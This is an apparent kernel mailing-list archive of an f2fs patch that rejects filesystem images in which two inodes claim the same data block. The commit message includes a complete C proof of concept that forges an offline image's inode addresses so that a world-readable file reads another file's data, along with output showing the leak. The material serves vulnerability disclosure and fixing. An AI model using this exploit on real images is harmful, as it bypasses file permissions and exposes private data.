From: Haoran Wang <haoranwangsec@gmail.com>
To: jaegeuk@kernel.org, chao@kernel.org
Cc: haoranwangsec@gmail.com, linux-kernel@vger.kernel.org,
linux-f2fs-devel@lists.sourceforge.net
Subject: [f2fs-dev] [PATCH] f2fs: verify inode data-block ownership at mount
Date: Fri, 16 Oct 2026 22:32:58 +0800 [thread overview]
Message-ID: <6ad2359d.0083e9c2.97e0f.79de@mx.google.com> (raw)
From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Subject: [PATCH] f2fs: verify inode data-block ownership at mount
\
f2fs resolves a file's logical offsets to data blocks through on-disk
inode metadata but never checks that a data block claimed by one inode is
not also claimed by another. With offline write access to the block
device an attacker can forge a regular inode's i_addr so that a
world-readable file reads back a different file's data blocks, leaking
its contents across the permission boundary once the image is mounted.
PoC (forge.c, pre-patch; default mkfs.f2fs image, feature 0x00000000,
inode_checksum off):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#define BLK 4096
#define FO (BLK - 24) /* 4072: node footer offset within block */
#define SB 1024 /* superblock offset in the image */
static uint8_t *data;
static off_t len;
static uint16_t rd16(off_t o) { return data[o] | (data[o + 1] << 8); }
static uint32_t rd32(off_t o) {
return data[o] | (data[o + 1] << 8) | (data[o + 2] << 16) | (data[o + 3] << 24);
}
static uint64_t rd64(off_t o) {
uint64_t v = 0;
for (int i = 0; i < 8; i++) v |= (uint64_t)data[o + i] << (8 * i);
return v;
}
static void wr32(off_t o, uint32_t v) {
data[o] = v; data[o + 1] = v >> 8; data[o + 2] = v >> 16; data[o + 3] = v >> 24;
}
static void wr64(off_t o, uint64_t v) {
for (int i = 0; i < 8; i++) data[o + i] = v >> (8 * i);
}
struct finfo {
off_t off;
uint64_t size;
int inl;
uint32_t ext_blk, ext_len, addrs[16];
uint8_t i_inline;
};
static int find(const char *name, struct finfo *f)
{
uint32_t main = rd32(SB + 96);
uint32_t end = main + 16384;
if ((off_t)end > len / BLK)
end = len / BLK;
for (uint32_t blk = main; blk < end; blk++) {
off_t off = (off_t)blk * BLK;
if (off + BLK > len)
break;
uint32_t nid = rd32(off + FO);
uint32_t ino = rd32(off + FO + 4);
if (nid != ino || nid < 1)
continue;
uint16_t mode = rd16(off);
if ((mode & 0xF000) == 0x4000) /* directory */
continue;
char nm[256];
memcpy(nm, data + off + 92, 255);
nm[255] = 0;
if (strcmp(nm, name) != 0)
continue;
f->off = off;
f->i_inline = data[off + 3];
f->size = rd64(off + 16);
f->ext_blk = rd32(off + 352);
f->ext_len = rd32(off + 356);
for (int j = 0; j < 16; j++)
f->addrs[j] = rd32(off + 360 + j * 4);
f->inl = f->i_inline & 0x02;
return 0;
}
return -1;
}
static void do_forge(struct finfo *s, struct finfo *t)
{
if (s->inl) {
memcpy(data + t->off + 360, data + s->off + 360, 3688);
data[t->off + 3] |= 0x02 | 0x08;
wr64(t->off + 16, s->size);
} else {
wr32(t->off + 352, s->ext_blk);
wr32(t->off + 356, s->ext_len);
for (int j = 0; j < 16; j++)
if (s->addrs[j])
wr32(t->off + 360 + j * 4, s->addrs[j]);
wr64(t->off + 16, s->size);
data[t->off + 3] &= ~0x02;
}
}
static ssize_t read_all(int fd, uint8_t *buf, off_t n)
{
off_t got = 0;
while (got < n) {
ssize_t r = read(fd, buf + got, n - got);
if (r < 0) return -1;
if (r == 0) break;
got += r;
}
return got;
}
static ssize_t write_all(int fd, const uint8_t *buf, off_t n)
{
off_t put = 0;
while (put < n) {
ssize_t r = write(fd, buf + put, n - put);
if (r < 0) return -1;
put += r;
}
return put;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <image>\n", argv[0]);
return 2;
}
int fd = open(argv[1], O_RDWR);
if (fd < 0) { perror("open"); return 2; }
struct stat st;
if (fstat(fd, &st)) { perror("fstat"); return 2; }
len = st.st_size;
data = malloc(len);
if (!data) { perror("malloc"); return 2; }
if (read_all(fd, data, len) != len) { perror("read"); return 2; }
struct finfo s, t;
if (find("secret", &s)) { printf("forge: secret not found\n"); return 1; }
if (find("public", &t)) { printf("forge: public not found\n"); return 1; }
printf("secret: off=%lld inline=%d size=%llu ext_blk=%u ext_len=%u\n",
(long long)s.off, s.inl, (unsigned long long)s.size,
s.ext_blk, s.ext_len);
printf("public: off=%lld inline=%d size=%llu\n",
(long long)t.off, t.inl, (unsigned long long)t.size);
do_forge(&s, &t);
if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 2; }
if (write_all(fd, data, len) != len) { perror("write"); return 2; }
printf("forge: public -> secret (%s) done\n", s.inl ? "inline" : "extent");
free(data);
close(fd);
return 0;
}
Pre-patch result:
forge: public -> secret (extent) done
$ cat /mnt/public
SECRET_EXT_99999
RESULT: LEAK -- SECRET_EXT readable via public (vuln present)
Add a mount-time scan that, for every regular, non-inline-data,
non-inline-dentry, non-compressed inode in the main area, records each
direct data address in i_addr[base..end) into a per-block bitmap --
skipping the extra-attr region (base) and the inline-xattr tail (end)
where present. f2fs never intentionally shares data blocks between
inodes, so an address already claimed by another inode is unambiguous
corruption: the mount fails with -EFSCORRUPTED instead of exposing the
stale data. The check runs after f2fs_build_gc_manager() and unwinds
through the existing free_nm path on failure.
Inline-data files carry no separate data block and so are outside the
scope of this ownership check.
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
fs/f2fs/f2fs.h | 1 +
fs/f2fs/node.c | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
fs/f2fs/super.c | 6 ++++++
3 files changed, 86 insertions(+)
diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h
--- a/fs/f2fs/f2fs.h
+++ b/fs/f2fs/f2fs.h
@@ -3978,6 +3978,7 @@
bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
struct node_info *ni, bool checkpoint_context);
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
int f2fs_get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode);
int f2fs_truncate_inode_blocks(struct inode *inode, pgoff_t from);
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -6,6 +6,7 @@
* http://www.samsung.com/
*/
#include <linux/fs.h>
+#include <linux/buffer_head.h>
#include <linux/f2fs_fs.h>
#include <linux/mpage.h>
#include <linux/sched/mm.h>
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -3445,6 +3446,84 @@
return 0;
}
+static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
+ block_t total, block_t blkaddr)
+{
+ if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
+ return 0;
+ if (blkaddr < main_b || blkaddr >= total)
+ return 0;
+ if (test_and_set_bit(blkaddr, claimed))
+ return -EFSCORRUPTED;
+ return 0;
+}
+
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
+{
+ struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
+ block_t main_b = le32_to_cpu(raw->main_blkaddr);
+ block_t total = le64_to_cpu(raw->block_count);
+ unsigned long *claimed;
+ struct buffer_head *bh = NULL;
+ block_t blk;
+ int err = 0;
+
+ claimed = kvzalloc_objs(unsigned long, BITS_TO_LONGS(total));
+ if (!claimed)
+ return -ENOMEM;
+
+ for (blk = main_b; blk < total; blk++) {
+ struct f2fs_node *fn;
+ struct f2fs_inode *ri;
+ nid_t nid, ino;
+ int base, end, i;
+
+ bh = sb_bread(sbi->sb, blk);
+ if (!bh) {
+ err = -EIO;
+ break;
+ }
+ fn = (struct f2fs_node *)bh->b_data;
+ nid = le32_to_cpu(fn->footer.nid);
+ ino = le32_to_cpu(fn->footer.ino);
+ if (nid != ino || !nid)
+ goto next;
+ ri = &fn->i;
+ if (!S_ISREG(le16_to_cpu(ri->i_mode)))
+ goto next;
+ if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
+ goto next;
+ if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
+ goto next;
+ base = (ri->i_inline & F2FS_EXTRA_ATTR)
+ ? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
+ end = DEF_ADDRS_PER_INODE;
+ if (ri->i_inline & F2FS_INLINE_XATTR) {
+ if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
+ (ri->i_inline & F2FS_EXTRA_ATTR))
+ end -= le16_to_cpu(ri->i_inline_xattr_size);
+ else
+ end -= DEFAULT_INLINE_XATTR_ADDRS;
+ }
+ if (base > end || end > DEF_ADDRS_PER_INODE)
+ goto next;
+ for (i = base; i < end; i++) {
+ err = f2fs_claim_data_addr(claimed, main_b, total,
+ le32_to_cpu(ri->i_addr[i]));
+ if (err)
+ goto out;
+ }
+next:
+ brelse(bh);
+ bh = NULL;
+ }
+out:
+ if (bh)
+ brelse(bh);
+ kvfree(claimed);
+ return err;
+}
+
int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
{
int err;
diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c
--- a/fs/f2fs/super.c
+++ b/fs/f2fs/super.c
@@ -5261,6 +5261,12 @@
f2fs_build_gc_manager(sbi);
+ err = f2fs_verify_inode_data_ownership(sbi);
+ if (err) {
+ f2fs_err(sbi, "data block referenced by multiple inodes");
+ goto free_nm;
+ }
+
err = f2fs_build_stats(sbi);
if (err)
goto free_nm;
--
2.43.0
_______________________________________________
Linux-f2fs-devel mailing list
Linux-f2fs-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/linux-f2fs-devel
reply other threads:[~2026-10-16 14:33 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=6ad2359d.0083e9c2.97e0f.79de@mx.google.com \
--to=haoranwangsec@gmail.com \
--cc=chao@kernel.org \
--cc=jaegeuk@kernel.org \
--cc=linux-f2fs-devel@lists.sourceforge.net \
--cc=linux-kernel@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.